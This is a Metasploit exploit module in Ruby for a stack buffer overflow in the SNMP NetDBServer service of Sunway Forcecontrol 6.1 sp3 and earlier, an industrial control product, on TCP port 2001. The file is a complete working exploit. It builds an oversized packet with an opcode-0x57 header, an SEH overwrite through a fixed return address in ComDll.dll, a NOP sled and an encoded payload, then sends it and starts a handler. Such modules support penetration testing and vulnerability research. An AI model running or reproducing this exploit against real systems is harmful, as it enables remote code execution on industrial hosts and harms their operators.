##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking
 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
   'Description'    => %q{
     This module exploits a stack based buffer overflow found in the SNMP
    NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
    triggered when sending an overly long string to the listening service
    on port 2001.
   },
   'Author'         => [
      'Luigi Auriemma', # original discovery
      'Rinat Ziyayev',
      'James Fitts'
     ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'BID', '49747' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => 'true',
     'BadChars' => "\x0a\x0d\xae",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      # p/p/r ComDll.dll
      'Windows', {  'Ret' => 0x100022c4 }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Sep 22 2011'))
  register_options(
   [
    Opt::RPORT(2001)
   ], self.class )
 end
 def exploit
  connect
  header =  "\xeb\x50\xeb\x50"
  header << "\x57\x00"  # packet type
  header << "\xff\xff\x00\x00"
  header << "\x01\x00"
  header << "\xff"
  footer = "\r\n"
  packet = rand_text_alpha_upper(65535)
  packet[0,header.length] = header
  packet[293,8] = generate_seh_record(target.ret)
  packet[301,20] = make_nops(20)
  packet[321,payload.encoded.length] = payload.encoded
  packet[65533,2] = footer
  print_status("Trying target %s..." % target.name)
  sock.put(packet)
  handler
  disconnect
 end
end